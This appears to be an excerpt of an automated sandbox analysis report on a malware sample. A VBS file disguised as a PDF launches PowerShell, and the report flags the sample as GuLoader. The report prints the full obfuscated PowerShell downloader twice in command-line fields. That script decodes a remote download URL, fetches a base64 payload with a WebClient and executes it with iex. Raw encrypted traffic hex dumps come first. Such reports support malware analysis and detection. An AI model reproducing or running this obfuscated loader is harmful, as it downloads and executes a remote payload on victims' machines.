^j0]X!Y]P#%>HjD~f^(Ky8FL-ggr\|32TMtuuwPhzxQSLAyM6.n5PHf^OC7L=IeXwp2U1Gw?O5Q5gU?P>!IVgVy#p'
2024-07-03 06:49:50 UTC	4829	IN	Data Raw: db 7a 46 ee 09 29 d2 0d 5d 08 9a 25 9c e0 d4 41 27 4d 94 a6 7a de e9 64 6d 5f 92 12 90 a4 1d cc e8 70 e4 73 af 90 65 9c 34 32 5d f0 1b e0 b7 a0 db 60 b6 ec da b5 93 4c ed 0e e4 d5 4e 43 6b 23 a0 47 e8 70 2a f9 7c 75 67 3e 44 10 05 e8 c0 67 98 cd 03 0a c7 f3 57 f3 e8 aa 19 b9 c6 67 e0 0e df 31 e1 1e fe 00 85 bd 92 1f 46 c2 08 12 cc 82 a0 40 1b 4a df b2 1e d8 b1 6e 7f 17 78 55 1e bd 38 dd eb 7b 86 ec 77 ef 3f 02 47 85 e4 d8 b4 70 b9 d8 58 9d 99 24 4d 8e 95 82 b9 17 26 ef f9 c9 1a 9c a3 7f ac b3 2a d5 6f 18 02 87 4a 4f 8b 61 27 bf ac 2a 7c 46 fc 15 ae 1a b3 f8 f7 4a 93 c8 fb 4c 79 cf 00 44 5c 73 8b 07 04 f5 33 aa cb a7 6d 0c 62 83 dc bf db 3b 04 15 94 24 f5 99 a0 64 1c 7c d7 57 02 c2 91 bc 06 f1 e6 00 8e 9a 87 d8 ce 4e dd 9c 2b fe 7e 20 d3 df f2 53 8d 5a 38 Data Ascii: zF)]%A'Mzdm_pse42]`LNCk#Gp\|ug>DgWg1F@JnxU8{w?GpX$M&oJOa'*\|FJLyD\s3mb;$d\|WN+~ SZ8
2024-07-03 06:49:50 UTC	213	IN	Data Raw: 5b c3 a1 86 3e 6f da 21 91 c4 ac 93 2d 78 b7 23 a6 cd c1 5c d3 3e 27 38 37 4e d0 c4 d0 53 34 36 80 05 51 0f d3 dd 69 6d f6 40 fe ed 97 26 60 59 c8 5f 52 da c6 36 6b 05 b6 03 84 c2 01 9d 1e 55 6a 16 14 07 65 38 65 01 2b 8c b1 43 7b 48 5a fa c7 47 29 6a 4f 15 24 31 25 9d a5 96 ed 59 c1 97 9c ea 6d 8e f4 87 b6 8d 21 40 5b 92 99 f6 0f 34 ee 0f 3b ae 13 3b f8 f8 f7 ce 18 b3 91 53 ba e1 a3 d6 b0 6d b8 11 95 66 e6 83 a0 76 e2 8e 9d 46 5d 4a 3e 77 38 61 bc 00 48 b2 1e 1b 8f 1b 67 84 5c 8b e4 24 d9 90 c7 03 a0 bc e9 30 f0 58 b4 13 6f 94 33 ff 23 2f 95 d4 97 2d eb 1d 7c f1 d5 73 4a 68 47 4a 81 b4 00 93 d3 9f e7 e5 8f d5 65 95 e2 c9 ce f1 32 Data Ascii: [>o!-x#\>'87NS46Qim@&`Y_R6kUje8e+C{HZG)jO$1%Ym!@[4;;SmfvF]J>w8aHg\$0Xo3#/-\|sJhGJe2
2024-07-03 06:49:50 UTC	1321	IN	Data Raw: 65 fb 67 c9 c4 5f 6f d5 3e 05 ce 53 09 66 87 cd 90 d8 35 c4 f9 17 ba 59 fc 5f 12 8d a3 5a 0b 08 8b f1 f1 90 86 f0 fc 65 f7 ed 47 17 25 b5 a9 f2 48 f5 58 a0 86 00 f8 2b ce e6 d1 f1 8f 70 a0 16 3b 40 1d 77 e6 3b d5 80 f1 2d a2 31 55 d4 cb e6 e8 48 6e 61 1b 35 06 d3 32 1b ca 27 41 d9 8f 12 0d 88 3a 9d 5c f8 ff 51 bb 92 f2 43 f2 96 cc e9 1b 79 cc 0e 66 03 44 23 40 7e 84 f5 44 43 12 de 28 2e 47 40 31 e7 37 d2 bf c3 70 ea 57 76 25 f3 c7 82 77 7a af db 8e 75 93 05 0d da aa 1a db d0 84 72 60 37 65 40 de 2f 07 b9 6c 5b 68 f3 7a 89 fe f2 5a ae 41 2f 51 35 15 3d e1 ab 6b 3b 37 e2 6c 74 00 02 fb 02 f3 cf 2d 9f ac 9d f0 ba 73 b2 6d 24 8b 07 f7 3d fe a4 bd 99 c7 fc 1c 1f 26 6b e8 82 6a bd db 0b 83 59 60 d2 07 f4 66 ad d3 9b c6 1b 2d 39 03 a4 20 29 d1 1f 29 e0 b5 c1 51 Data Ascii: eg_o>Sf5Y_ZeG%HX+p;@w;-1UHna52'A:\QCyfD#@~DC(.G@17pWv%wzur`7e@/l[hzZA/Q5=k;7lt-sm$=&kjY`f-9 ))Q
2024-07-03 06:49:50 UTC	1390	IN	Data Raw: d3 35 18 19 36 0d 21 5f e6 a4 e8 af e1 3c 4b ca 2f 03 51 ac 6d 81 1f b9 ce 2b 4f 74 9b 90 11 92 89 7b 10 10 a2 52 cb dd 28 b3 bc 05 a5 31 4c ac 72 55 8a 50 b2 e3 2c d5 b0 6c 88 4c 12 d8 7f 4a ee 95 67 fc 19 ad 0f 7d d5 52 2f 9d 74 31 d3 5e d6 4e 70 e7 94 57 6e 2c 83 f9 f0 62 2b a1 c2 64 74 62 f2 63 fa 8b fc ae 30 33 c0 ff 9c 97 3f ef 0f 48 e7 2d f7 b8 04 ee 05 cd dc 3f e2 46 cc 88 84 0c 11 fc 32 21 78 75 68 4f 5f 82 94 91 b4 bb da f4 e0 75 20 e2 7a da d0 56 9f f3 9d 53 36 d1 94 56 0f e6 f2 f3 6d 32 ae 70 05 5b b6 0d cd a2 1b 56 12 5a b6 a5 ff 4a 0b 6e b3 69 f5 0f 81 5c 57 82 e0 c9 79 f1 aa 3b 92 7b 30 2e fa 18 16 aa 2d 07 b3 85 5d 5e 92 ae 81 10 22 ad db 7d 3e 87 c8 5b e1 99 fb 3e c4 bc 25 c5 45 62 90 0a 92 00 70 cf 10 f8 62 bf 76 56 ff 99 be d1 ec 63 6e Data Ascii: 56!_<K/Qm+Ot{R(1LrUP,lLJg}R/t1^NpWn,b+dtbc03?H-?F2!xuhO_u zVS6Vm2p[VZJni\Wy;{0.-]^"}>[>%EbpbvVcn
2024-07-03 06:49:50 UTC	1390	IN	Data Raw: 25 c1 31 2b 72 23 0d 1e 49 f0 95 ac c9 74 5d dd 13 61 93 6d 15 7b 8d 03 5b cf 86 db 24 17 b8 a8 e9 bc 7a ac 02 62 40 6e 07 a2 a7 b5 3a 9a 9b 34 4d 86 ad 63 5f a7 c8 2c da 20 59 d9 0a 30 65 2c ea 87 89 a0 da 80 e0 b2 45 1a 24 10 ec 2b 31 a7 ec ee 11 2c 4a 30 40 9f 71 ee 15 f3 db b6 a1 45 40 2e 35 f3 c9 59 13 16 f4 66 5b c8 28 3f 20 b3 99 2e 61 8a df f4 da c2 0a e7 e9 20 28 05 4b 76 89 83 e1 f6 ea fb ea 8f e1 b6 a4 06 16 c3 42 67 17 7e 97 8e f1 67 86 b5 44 85 10 80 a9 33 65 07 5d 27 28 1b d9 26 c4 b1 0c 7f e6 fe f9 2b e3 0a 8a 71 89 74 36 6a 55 8e 17 bb 25 3b 9f fa d4 d4 36 64 8b 13 8d b1 ae 5a 31 02 b4 01 52 5f af 40 2a eb f5 d3 ec 64 bd 14 ab 1f e0 00 74 8a 29 bf ee f3 fa 33 55 65 ec fd 77 c5 33 64 5d 0f ec 92 52 a8 df b9 1f 92 55 fb b5 1c e6 88 39 f5 8c Data Ascii: %1+r#It]am{[$zb@n:4Mc_, Y0e,E$+1,J0@qE@.5Yf[(? .a (KvBg~gD3e]'(&+qt6jU%;6dZ1R_@*dt)3Uew3d]RU9
2024-07-03 06:49:50 UTC	1390	IN	Data Raw: 1d 9c 3f 28 c9 e4 e0 fe a8 d5 07 ca 53 b6 3b c1 5b 05 b3 b0 61 91 20 67 ee e0 1b 01 37 3a 25 f5 f7 26 90 96 63 57 14 a4 a0 af 0a 4d 3d 67 a3 7d b2 19 39 48 6e 45 d6 53 f9 ec 74 61 67 06 e2 99 4a d7 0f 32 6e 73 40 de 73 10 fd 40 be 55 e5 30 65 2e 06 18 52 19 ad 71 5d ce 75 f0 dc e3 be 72 8a 9b c7 79 da 70 f4 77 0a e0 ba 4e 13 83 a9 c0 f5 b1 9c e7 d0 54 76 be e3 9e e2 9d 31 f3 04 1b 08 82 2b 8d 8c bd 8e 21 66 b1 99 c1 8e 25 2b c6 89 19 6a f7 08 a9 b1 74 7d c9 97 80 d2 ef cc 36 64 69 1d ae 9b 4a 6e 70 97 f2 65 27 4e 6e 00 38 b8 3a 5b 0b b3 e3 59 17 e8 e3 83 8d 6d a6 f7 fd 2b 84 66 e6 cd df 1e 13 6b 22 8a 01 99 7f 38 6e db a2 49 6e ef 1c 2a f3 2c 31 af e9 4a ae 03 c7 8f e7 51 0d 32 5b 45 44 a4 80 47 da 56 d1 20 22 ab 03 7c 30 b6 a1 8e 24 36 e7 39 83 4d ee 09 Data Ascii: ?(S;[a g7:%&cWM=g}9HnEStagJ2ns@s@U0e.Rq]urypwNTv1+!f%+jt}6diJnpe'Nn8:[Ym+fk"8nIn*,1JQ2[EDGV "\|0$69M
2024-07-03 06:49:50 UTC	1390	IN	Data Raw: 0a c8 84 d9 cd 2b 00 08 5f 77 e8 59 a6 b1 7b a9 5e af 61 8b da bc 92 08 87 1a 52 a4 fc 22 dd 76 9a e6 e9 a2 3d 1b 94 69 89 23 72 bb 98 d7 83 de 68 24 12 64 9a 79 5d 98 f8 1e 07 aa 4f b8 a4 2f 52 2a 39 46 ca 17 8a b3 ff d6 27 4a 31 aa 1e 3f 29 e1 18 a5 da 86 e2 9a db 69 40 98 e7 6f a9 8c af 92 02 e5 24 31 ec 66 f9 cb 52 87 9f cc cc 8b 8a a5 cb ae 62 55 a9 73 01 52 c1 82 7f 6a 4a 30 00 b5 8b ef ae 39 83 c5 b6 e0 f9 aa cb b6 ff 11 4e 3d 4f e4 3e fb 03 11 c4 3a 31 db 72 27 39 b5 01 48 3e 1e 22 f2 7d f9 71 e5 7b e6 80 b8 01 40 73 8a 6e 4a 9d d9 9e 86 f2 c8 20 1f b6 bd 3e da fe a5 9e 6f 33 aa 56 bd 46 55 76 4d fb 8f ea 6f 0d f2 30 c2 5c 29 7e 46 06 70 4c f5 0c d3 bb 44 b1 c2 93 c3 c4 36 18 07 d6 f5 83 d2 d0 7e 34 09 5b e9 43 7b c7 9b 81 96 ff fb e4 90 8f 49 b2 Data Ascii: +_wY{^aR"v=i#rh$dy]O/R*9F'J1?)i@o$1fRbUsRjJ09N=O>:1r'9H>"}q{@snJ >o3VFUvMo0\)~FpLD6~4[C{I
2024-07-03 06:49:50 UTC	1390	IN	Data Raw: a3 bd 9b d5 60 75 96 9f f9 db fb b5 5d 27 df fb 8d 20 4e 6a 40 d0 3d 46 a1 9a e8 0a 76 e6 8f f6 11 b3 ed ed 61 a0 25 49 d0 19 e7 ff 1e 5e 0e 34 8d 3a 09 8a b0 cd 5e ca 4c 7b e7 25 ea 2b 2e c4 c1 d4 66 cf 70 5c af e7 38 8a 33 89 ee f3 74 b8 72 90 54 44 f1 e2 33 16 9a ef f8 9d 63 22 be 1e d7 62 a7 dc 1a 0b e5 d0 00 54 87 d6 d6 6a 86 d1 d2 d6 22 4e 09 5e ed 0d 97 56 b3 2e 27 00 24 cc 26 79 23 3b a7 7c 52 f1 23 f3 6b 83 fd fd 94 d8 7a ee 13 48 85 3c 05 ef 5a 72 3c 17 08 22 bc d8 3b e1 b1 99 28 7b 21 e9 60 90 14 ec d4 e1 5f fc fb 40 64 7b 1f 21 b8 87 b1 7a c9 e2 52 44 06 af fe d5 4a 30 5f 42 30 12 b3 2b bc 82 54 37 34 d4 f5 97 db 4b 80 aa 8a 98 bb db c3 18 3b 2a bf 8c 37 fc 4c 12 f2 34 eb e8 7f ca 46 39 52 be 39 84 5a 06 54 3f 0c 49 05 e0 49 cd ef 96 80 e3 83 Data Ascii: `u]' Nj@=Fva%I^4:^L{%+.fp\83trTD3c"bTj"N^V.'$&y#;\|R#kzH<Zr<";({!`_@d{!zRDJ0_B0+T74K;*7L4F9R9ZT?II
2024-07-03 06:49:50 UTC	1390	IN	Data Raw: be be d7 44 f6 12 14 57 38 13 24 97 bf 86 1d 78 4e 42 9d a1 fa 6b 98 e9 4a 68 60 06 2d 09 66 25 d9 e3 87 54 ce 37 47 a4 6d 09 f8 f3 b7 ed da 4e b9 9a 30 3c 67 8b 8a fe f1 53 af 9c 51 38 49 4b c3 1c 2a fb 20 d5 3f c3 e0 b9 3e 9a be f0 24 69 0b ff 91 dc 38 4b 16 07 c9 c6 fc d3 5c 77 41 8e f1 d1 80 8a 36 6d 43 ca 67 be 09 39 9d 5a b2 0f 40 1b 3e 03 70 bc d9 1d 8e 47 32 c6 13 db 9f 58 f1 ee 95 14 5b 05 ff 17 b5 bb 14 85 da 53 4f 26 8f cd c3 5a cb 7d 1c da 64 1f 1f e5 59 86 01 62 ee 06 b1 8b 53 1c 52 75 91 9f ba c3 99 c9 98 77 b4 fc c7 90 ca 9b 83 b1 6d f9 bf 6e 1e 36 60 ca 41 56 e5 01 4f 8c c4 84 07 8f 41 87 0c 9f 84 0e a8 f3 4b 4d fc 6a 28 26 7f 80 0e f1 8c f1 39 35 72 8e 68 c9 f1 0e 99 19 01 c3 42 c2 47 a4 33 91 73 f9 d7 1d 50 8e 3a 4b 00 40 53 f2 6d b2 f0 Data Ascii: DW8$xNBkJh`-f%T7GmN0<gSQ8IK* ?>$i8K\wA6mCg9Z@>pG2X[SO&Z}dYbSRuwmn6`AVOAKMj(&95rhBG3sP:K@Sm

Target ID:	0
Start time:	02:48:00
Start date:	03/07/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\AF85714759_htm#U00b7pdf.vbs"
Imagebase:	0x7ff6b47d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:49:01
Start date:	03/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDal SeMa(Ur$,tAPercacLehS.aAniRas ,eSarAu,S $A.N,noAgnPedTreTrc So .rSuaSktMliFao Vn.o2Am3 R5Gu)Ke ';$Nondecoration235=$Stationcaren[0];Dkvingen (Sprge 'T.$Odg .lJio FbdoaI.l .:chNPro .n Sm.eaPurolk,ieDitPr=Dr(PoT Fe es.ltC -ChPRiaDetDehUs D.$ HNStoExnScdNieRoc.po .r aG,t Sinuo onko2Du3Au5 B)Ss ');while (!$Nonmarket) {Dkvingen (Sprge 'Be$Ingrel okobSeaUnlFl: .BBliSel,gvDdr ,aH gSaeO tLa=.o$Unt .rBouUne U ') ;Dkvingen $Kundetilfredshedsgarantiernes;Dkvingen (Sprge 'DiSR,tNaaArr .t.d- ESRolRaePee,opDe ,4Bu ');Dkvingen (Sprge 'Sl$SugO.l Somub.saVel.n: FNUdo enDem GaTirPlkC.eJut a=M.(.oTn,e SsF.t R-C,PCoaArtruhDe .$HlNCho Jn,ldCoeOvcPuoRerDda ,tCoiC.ofinPj2T.3Ra5 P)e ') ;Dkvingen (Sprge 'Mu$Kag Fl ,o .bUsaL lC : ,Pchr Iep.p Ki .oFou usfa=Mu$sagErl.ao b MaExlB :DeESlsKym Ce .rFoa.nlAmd saLo+Af+R.%,l$.oE un.ugg lFoe sjukAfa jrBeeRes I. ,cenoCyuTan et.v ') ;$Archaiser=$Engleskares[$Prepious];}$Facially=314646;$Tilvrelsesforms=26399;Dkvingen (Sprge ' ,$ gBulM o Bb aValVa: LSFej,olKleQusPaoCor,kg e DrGe ,o=.a kaGS.eG,t r-BaC Lo,onEkt.ne,qnSltSi D $R,N AoSunstdC.e PcF.oDirCyaq,t iiBroEnnHe2Mu3Ma5Ud ');Dkvingen (Sprge ' ,$ Cg ,lFro .bBaa l :,aU pR,pAfi FlH eScd.y Pa=Ad By[A.SMayArs PtTieAmm y.BiCSlo enK,vApeOrrF tUd]le:L.:,lF ar ro,em,oBA,aBas Te R6 i4R S RtF rC,i AnHng (Ce$MeSsej DlCreBas ,oTor,aga.e DrOv)E ');Dkvingen (Sprge 'Ho$ScgO l koGrbsiaPalTr: ,MViaGuiI,nSaf PrBaaNdmOveE,so. Ke=Da ,n[BeSPlyNes Ft.neRhmEn.HoTS e cxFltAu. REH nSec .o VdFjiGrnM gCo]Om:P.:,eANeS,tCAfI rIFi. SGRee,atSuSQ tRerLoiChnSmgwa( O$StUC pA pPii MlUne.idB,) ');Dkvingen (Sprge ' K$ gAllFloS.bAnaStlR.:StKInyUdn ld Ai gKo=Ap$DaM,oaGri.nnStfMirU aSpmSke EsR..NisgyuH bTis GtKnr,ii un.ig d(Ba$c,F Castc.ui SaStlTrlDey.o, y$,iTHii Sl,lvRorBoe TlIdsNgeI.sKofT.oOvrBamK.s .)Su ');Dkvingen $Kyndig;"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000008.00000002.3577666635.00000197D36A8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:49:01
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:49:03
Start date:	03/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Folkeslaget.Opi && echo t"
Imagebase:	0x7ff6021e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:49:11
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDal SeMa(Ur$,tAPercacLehS.aAniRas ,eSarAu,S $A.N,noAgnPedTreTrc So .rSuaSktMliFao Vn.o2Am3 R5Gu)Ke ';$Nondecoration235=$Stationcaren[0];Dkvingen (Sprge 'T.$Odg .lJio FbdoaI.l .:chNPro .n Sm.eaPurolk,ieDitPr=Dr(PoT Fe es.ltC -ChPRiaDetDehUs D.$ HNStoExnScdNieRoc.po .r aG,t Sinuo onko2Du3Au5 B)Ss ');while (!$Nonmarket) {Dkvingen (Sprge 'Be$Ingrel okobSeaUnlFl: .BBliSel,gvDdr ,aH gSaeO tLa=.o$Unt .rBouUne U ') ;Dkvingen $Kundetilfredshedsgarantiernes;Dkvingen (Sprge 'DiSR,tNaaArr .t.d- ESRolRaePee,opDe ,4Bu ');Dkvingen (Sprge 'Sl$SugO.l Somub.saVel.n: FNUdo enDem GaTirPlkC.eJut a=M.(.oTn,e SsF.t R-C,PCoaArtruhDe .$HlNCho Jn,ldCoeOvcPuoRerDda ,tCoiC.ofinPj2T.3Ra5 P)e ') ;Dkvingen (Sprge 'Mu$Kag Fl ,o .bUsaL lC : ,Pchr Iep.p Ki .oFou usfa=Mu$sagErl.ao b MaExlB :DeESlsKym Ce .rFoa.nlAmd saLo+Af+R.%,l$.oE un.ugg lFoe sjukAfa jrBeeRes I. ,cenoCyuTan et.v ') ;$Archaiser=$Engleskares[$Prepious];}$Facially=314646;$Tilvrelsesforms=26399;Dkvingen (Sprge ' ,$ gBulM o Bb aValVa: LSFej,olKleQusPaoCor,kg e DrGe ,o=.a kaGS.eG,t r-BaC Lo,onEkt.ne,qnSltSi D $R,N AoSunstdC.e PcF.oDirCyaq,t iiBroEnnHe2Mu3Ma5Ud ');Dkvingen (Sprge ' ,$ Cg ,lFro .bBaa l :,aU pR,pAfi FlH eScd.y Pa=Ad By[A.SMayArs PtTieAmm y.BiCSlo enK,vApeOrrF tUd]le:L.:,lF ar ro,em,oBA,aBas Te R6 i4R S RtF rC,i AnHng (Ce$MeSsej DlCreBas ,oTor,aga.e DrOv)E ');Dkvingen (Sprge 'Ho$ScgO l koGrbsiaPalTr: ,MViaGuiI,nSaf PrBaaNdmOveE,so. Ke=Da ,n[BeSPlyNes Ft.neRhmEn.HoTS e cxFltAu. REH nSec .o VdFjiGrnM gCo]Om:P.:,eANeS,tCAfI rIFi. SGRee,atSuSQ tRerLoiChnSmgwa( O$StUC pA pPii MlUne.idB,) ');Dkvingen (Sprge ' K$ gAllFloS.bAnaStlR.:StKInyUdn ld Ai gKo=Ap$DaM,oaGri.nnStfMirU aSpmSke EsR..NisgyuH bTis GtKnr,ii un.ig d(Ba$c,F Castc.ui SaStlTrlDey.o, y$,iTHii Sl,lvRorBoe TlIdsNgeI.sKofT.oOvrBamK.s .)Su ');Dkvingen $Kyndig;"
Imagebase:	0xa40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
